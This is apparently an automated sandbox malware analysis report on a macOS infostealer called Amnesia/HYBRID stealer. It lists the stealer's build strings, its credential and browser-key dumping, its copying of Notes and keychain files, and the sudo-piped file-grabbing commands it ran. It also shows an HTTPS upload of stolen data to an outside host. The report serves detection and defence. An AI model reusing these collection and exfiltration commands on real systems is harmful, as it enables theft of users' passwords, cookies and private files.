Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/futures-util-0.3.31/src/future/sel
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/reqwest-0.12.28/src/proxy.rs/Users
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.31.0/src/statement.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.31.0/src/inner_connecti
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/rusqlite-0.31.0/src/statement.rs/U
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/core-foundation-0.9.4/src/dictiona
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/os/m
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/core-foundation-0.9.4/src/data.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/cert
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/key.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/item
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/trus
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/iden
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/core-foundation-0.9.4/src/base.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/trus
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/core-foundation-0.9.4/src/number.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/core-foundation-0.9.4/src/string.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/security-framework-2.11.1/src/poli
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/core-foundation-0.9.4/src/array.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/core-foundation-0.9.4/src/number.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/read.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/error.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/read.rs/Use
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/socket2-0.6.2/src/sys/unix.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/blocking/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/net/tcp/stream.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/net/unix/stream.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/io/poll_evented.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/io/read_buf.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/notify.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/sync/oneshot.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/time/sleep.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/linked_list.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/bit.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/rand/rt.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/util/wake_list.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/io/regist
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/io/driver
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/park.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/park.rs!i
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/core
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/list
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/stat
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/core
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/harn
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/time/mod.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/time/entr
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/task/harn
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/time/whee
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/time/whee
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/handle.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/context/c
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/metrics/w
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/blocking/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/blocking/
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/scheduler
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/scheduler
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/time/whee
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/context/r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/buf/buf_impl.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/bytes.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/bytes-1.11.1/src/bytes_mut.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tokio-1.49.0/src/runtime/context/r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/tower-0.5.3/src/retry/budget/tps_b
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/iri-string-0.7.10/src/parser/str.r
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/iri-string-0.7.10/src/parser/char.
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/iri-string-0.7.10/src/parser/valid
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/iri-string-0.7.10/src/normalize/pa
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/parser.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/host.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/utf8_iter-1.0.4/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/want-0.3.1/src/lib.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/url-2.5.8/src/host.rs/rustc/254b59
Source: submission	String containing user path: /Users/admin/Desktop/amnesia/hybrid-stealer/target/aarch64-apple-darwin/release/build/macos-hybrid-s
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/idna-1.1.0/src/punycode.rs/Users/a
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ppv-lite86-0.2.21/src/generic.rs
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/hyper-util-0.1.20/src/service/ones
Source: submission	String containing user path: /Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/read.rs/Use

Source: /private/tmp/syshelper_38577473 (PID: 1688)	AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1741)	AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1742)	AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist	Jump to behavior
Source: /usr/bin/osascript (PID: 1775)	AppleKeyboardLayouts info plist opened: /System/Library/Keyboard Layouts/AppleKeyboardLayouts.bundle/Contents/Info.plist	Jump to behavior

Source: /private/tmp/syshelper_38577473 (PID: 1688)

XML plist file created: /private/tmp/starter

Jump to dropped file

Source: /private/tmp/syshelper_38577473 (PID: 1688)

Staged launch agent plist: /private/tmp/starter

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Contains Amnesia stealer build strings or controller arguments

Source: /Users/bernardo/Desktop/E9CX86U4Q7 (PID: 1688)	Controller mode argument: /tmp/syshelper_38577473 run_controller rt	Jump to behavior
Source: submission	Build string: /Users/admin/Desktop/amnesia/hybrid-stealer/target/x86_64-apple-darwin/release/build/macos-hybrid-stealer-9ac432f926130b
Source: submission	Build string: `/Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/ser.rs/rustc/254b59607d4417e9d
Source: submission	Build string: /BUILD_V3_MARKER.txt
Source: submission	Build string: /Users/admin/Desktop/amnesia/hybrid-stealer/target/aarch64-apple-darwin/release/build/macos-hybrid-stealer-8e381882227c6
Source: submission	Build string: `/Users/admin/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/serde_json-1.0.149/src/ser.rs/rustc/254b59607d4417e9d

Dumps Amnesia stealer build marker files

Source: /private/tmp/syshelper_38577473 (PID: 1688)

Build marker file: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/BUILD_V3_MARKER.txt

Jump to dropped file

Source: syshelper_38577473, 00001688.00000063.2.0000000102750000.0000000102764000.r--.sdmp	Binary or memory string: framework.vmnet
Source: syshelper_38577473, 00001688.00000063.2.0000000102750000.0000000102764000.r--.sdmp	Binary or memory string: {Eframework.vmnet$

HIPS / PFW / Operating System Protection Evasion

Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration

Source: /usr/sbin/system_profiler (PID: 1788)

Csrutil executable: /usr/bin/csrutil /usr/bin/csrutil status

Jump to behavior

Source: /bin/bash (PID: 1732)	sw_vers executed: sw_vers -productVersion			Jump to behavior
Source: /bin/bash (PID: 1764)	sw_vers executed: sw_vers -productVersion			Jump to behavior

Stealing of Sensitive Information

Yara detected HYBRID Stealer

Source: Yara match

File source: E9CX86U4Q7, type: SAMPLE

Accesses directories and/or files with sensitive browser data likely for credential stealing

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Sensitive file/directory: /Users/bernardo/Library/Application Support/Google/Chrome/Default/Login Data	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Sensitive file/directory: /Users/bernardo/Library/Application Support/Google/Chrome/Default/Login Data For Account	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Sensitive file/directory: /Users/bernardo/Library/Application Support/Firefox/Profiles	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Sensitive file/directory: /Users/bernardo/Library/Application Support/Firefox/Profiles/k9nllj2o.default-release/key4.db	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Sensitive file/directory: /Users/bernardo/Library/Application Support/Firefox/Profiles/k9nllj2o.default-release/places.sqlite	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Sensitive file/directory: /Users/bernardo/Library/Application Support/Firefox/Profiles/k9nllj2o.default-release/cookies.sqlite	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Sensitive file/directory: /Users/bernardo/Library/Application Support/Firefox/Profiles/k9nllj2o.default-release/cookies.sqlite-wal	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Sensitive file/directory: /Users/bernardo/Library/Application Support/Firefox/Profiles/k9nllj2o.default-release/prefs.js	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Sensitive file/directory: /Users/bernardo/Library/Application Support/Google/Chrome/Default/Login Data-journal	Jump to behavior

Dumps browser Safe Storage key files or diagnostics from a hidden cache

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file dump: /Users/bernardo/.local/share/.stream/.chrome_key	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file dump: /Users/bernardo/.local/share/.stream/.chromium_key	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file dump: /Users/bernardo/.local/share/.stream/.brave_key	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file dump: /Users/bernardo/.local/share/.stream/.opera_key	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file dump: /Users/bernardo/.local/share/.stream/.vivaldi_key	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file dump: /Users/bernardo/.local/share/.stream/.edge_key	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file dump: /Users/bernardo/.local/share/.stream/.yandex_key	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file dump: /Users/bernardo/.local/share/.stream/.arc_key	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key file dump: /Users/bernardo/.local/share/.stream/.coccoc_key	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key diagnostics dump: /private/tmp/controller_diag.txt	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key diagnostics dump: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/controller_diag.txt	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser Safe Storage key diagnostics dump: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Diagnostics/controller_diag2.txt	Jump to dropped file

Dumps copied Apple Notes databases from collection staging paths

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Apple Notes database copied: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite-wal	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Apple Notes database copied: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/NoteStore.sqlite-wal	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Apple Notes database copied: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite-shm	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Apple Notes database copied: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Apple Notes database copied: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/NoteStore.sqlite-shm	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Apple Notes database copied: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/NoteStore.sqlite	Jump to dropped file
Source: /bin/bash (PID: 1746)	Apple Notes database copied: /Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite	Jump to dropped file
Source: /bin/bash (PID: 1748)	Apple Notes database copied: /Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm	Jump to dropped file
Source: /bin/bash (PID: 1750)	Apple Notes database copied: /Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal	Jump to dropped file
Source: /bin/bash (PID: 1809)	Apple Notes database copied: /private/tmp/_notes_tmp_NoteStore.sqlite-wal	Jump to dropped file

Dumps copied Safari cookie files

Source: /private/tmp/syshelper_38577473 (PID: 1688)

Safari cookies copied: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Safari_Default/Cookies/Cookies.binarycookies

Jump to dropped file

Dumps staged browser, credential, notes, or collection report data from temporary directories

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies/cookies_decrypted.json	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Collection report written: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/collection_report.txt	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite-wal	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Passwords/login.keychain-db	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Passwords/Login Data	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Passwords/Login Data For Account	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies/Cookies	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Autofills/Web Data	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite-shm	Jump to dropped file
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite	Jump to dropped file

Executes the "dscl" command with authonly argument (probably to verify the login password)

Source: /bin/bash (PID: 1723)

Security executable: /usr/bin/dscl dscl /Local/Default -authonly bernardo 123456

Jump to behavior

Stages collected browser, password, notes, and system data in a temporary directory

Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/Notes/NoteStore.sqlite	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/Notes/NoteStore.sqlite-shm	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/Notes/NoteStore.sqlite-wal	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Autofills/Web Data	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies/Cookies	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Passwords/Login Data	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Passwords/Login Data For Account	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies/cookies_decrypted.json	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies-journal	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Login Data	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Login Data-journal	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Login Data For Account	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Web Data	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Web Data-journal	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Local State	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite-shm	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Notes/NoteStore.sqlite-wal	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Passwords/login.keychain-db	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies/cookies_decrypted.json	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Credential or notes data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Passwords/login.keychain-db	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1688)	Browser data staged for collection: /private/tmp/N9XlzLZbJYFiad6a5ve5HYatU/Browsers/Chrome_Default/Cookies	Jump to behavior

Uploads stealer collection data with password and browser key headers

Source: global traffic

HTTPS stealer upload: POST /send/ HTTP/1.1x-api-key: 86770e8759abf2dad9ae85f5e11a25e9x-chrome-key: P4JesMMS7yigyt7lZ+MGtA==x-system-password: MTIzNDU2content-length: 1341888accept: */*host: debug.allllowef.space

Uses a plaintext password for sudo or keychain access

Source: /private/tmp/syshelper_38577473 (PID: 1807)	Password piped to sudo: sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1807)	Sudo command uses stdin password mode: /bin/sh sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/sh (PID: 1807)	Password piped to sudo: sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/sh (PID: 1807)	Sudo command uses stdin password mode: /bin/bash sh -c echo '123456' \| sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'	Jump to behavior
Source: /bin/bash (PID: 1809)	Sudo command uses stdin password mode: /usr/bin/sudo sudo -S cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1823)	Password piped to sudo: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /private/tmp/syshelper_38577473 (PID: 1823)	Sudo command uses stdin password mode: /bin/sh sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1823)	Password piped to sudo: sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
Source: /bin/sh (PID: 1823)	Sudo command uses stdin password mode: /bin/bash sh -c echo '123456' \| sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '.txt' -o -iname '.pdf' -o -iname '.docx' -o -iname '.rtf' -o -iname '.doc' -o -iname '.wallet' -o -iname '.keys' -o -iname '.key' -o -iname '.jpg' -o -iname '.png' -o -iname '.kdbx' -o -iname '.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null	Jump to behavior
